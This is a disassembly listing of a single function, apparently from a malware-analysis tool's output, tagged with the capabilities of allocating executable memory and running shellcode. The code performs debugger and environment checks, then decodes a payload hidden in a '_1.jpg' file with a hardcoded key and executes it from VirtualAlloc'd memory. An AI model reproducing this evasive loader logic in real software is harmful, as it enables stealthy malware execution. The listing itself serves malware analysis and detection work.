Function at 0x10003680
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100221fd
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
mov eax, dword [0x10031050]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.10002990
test al, al
je 0x100036be
mov edx, 0x1002dc50
jmp 0x1000392f
push 0
call fcn.1000ed42
push eax
call fcn.1000dedb
add esp, 8
call fcn.1000deba
cdq
mov esi, 0xa
idiv esi
mov ecx, edx
call fcn.10003280
call fcn.100025d0
test al, al
jne 0x1000392a
call fcn.10002810
test al, al
jne 0x1000392a
call fcn.10002c40
test al, al
jne 0x1000392a
call fcn.10003080
test al, al
jne 0x1000392a
push 0
call fcn.1000ed42
push eax
call fcn.1000dedb
add esp, 8
call fcn.1000deba
cdq
idiv esi
mov ecx, edx
call fcn.10003280
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x10003923
cmp dword [0x1003305c], eax
je 0x10003761
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x1003305c]
test eax, eax
jne 0x10003923
push 0
call fcn.1000ed42
push eax
call fcn.1000dedb
add esp, 8
call fcn.1000deba
cdq
idiv esi
mov ecx, edx
call fcn.10003280
call fcn.10003020
test al, al
je 0x10003793
mov edx, 0x1002dcbc
jmp 0x1000392f
push 0x1a
mov dword [ebp - 0x58], 0
lea ecx, [ebp - 0x58]
push str.lovsjkwe23saawasgklmjlk333
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
call fcn.10005a30
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
push 7
mov dword [ebp - 0x28], 0
push str.._1.jpg
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.10005a30
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 2
push eax
lea edx, [ebp - 0x28]
lea ecx, [ebp - 0x58]
call fcn.100032e0
add esp, 4
push 0x40
push 0x3000
push dword [ebp - 0x30]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, dword [ebp - 0x2c]
mov ebx, eax
mov esi, dword [ebp - 0x40]
test ebx, ebx
jne 0x10003851
mov edx, str.Failed_to_allocate_memory.
call fcn.10006420
push eax
call fcn.100066e0
add esp, 4
mov ebx, 1
jmp 0x10003879
push dword [ebp - 0x30]
cmp edi, 0x10
lea eax, [ebp - 0x40]
cmovae eax, esi
push eax
push ebx
call fcn.1000af90
add esp, 0xc
call ebx
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor ebx, ebx
cmp edi, 0x10
jb 0x100038a9
lea ecx, [edi + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x1000389f
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10003963
push ecx
push esi
call fcn.10009a94
add esp, 8
mov edx, dword [ebp - 0x14]
cmp edx, 0x10
jb 0x100038dd
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100038d3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10003963
push edx
push ecx
call fcn.10009a94
add esp, 8
mov edx, dword [ebp - 0x44]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
cmp edx, 0x10
jb 0x1000391f
mov ecx, dword [ebp - 0x58]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10003915
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10003963
push edx
push ecx
call fcn.10009a94
add esp, 8
mov eax, ebx
jmp 0x10003947
mov edx, 0x1002dc9c
jmp 0x1000392f
mov edx, 0x1002dc74
call fcn.10006420
push eax
call fcn.100066e0
add esp, 4
call fcn.100032b0
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000993c
mov esp, ebp
pop ebp
ret
call fcn.1000f80d
int3